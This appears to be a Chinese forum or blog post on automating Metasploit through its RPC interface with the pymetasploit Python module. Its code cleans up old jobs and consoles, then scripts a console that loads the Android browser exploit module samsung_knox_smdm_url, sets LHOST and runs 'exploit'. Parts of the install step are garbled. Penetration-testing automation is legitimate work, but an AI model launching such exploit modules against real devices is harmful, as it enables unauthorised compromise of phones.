相信用过metasploit的同学都很苦逼,msfconsole漫长的启动时间,如果测试中敲错命令,或不小心退出后又重启任务,会让你直接抓狂。之前不想重复敲命令,看了下metasploit的开发文档,发现要自动化有各种方案,个人感觉最方便的是调用RPC接口,GITHUB上搜了把,发现有大拿封装好了模块,直接调用即可:
安装pymetasploit模块
________ _________ __________- ___________git clone https:/github.com/allfro/pymetasploit__________
_________ ________ __
jobs = client.call('job.list')
for num in jobs.keys():
if jobs[num].find('samsung_knox_smdm_url')>0:
client.call('job.stop',num)
console = client.call('console.list')
for _console in console['consoles']:
if _console.has_key('prompt'):
if _console['prompt'].find('samsung_knox_smdm_url')>0:
client.call('console.destroy', _console['id'])
cmd='''
use exploit/android/browser/samsung_knox_smdm_url
set LHOST 127.0.0.1
exploit
'''
res = client.call('console.create')
console_id = res['id']
client.call('console.write', console_id, cmd)
try:
while True:
res = client.call('console.read',console_id)
if len(res['data']) > 1:
print res['data'],
if res['busy'] == True:
time.sleep(1)
continue
except:
pass
复制代码
|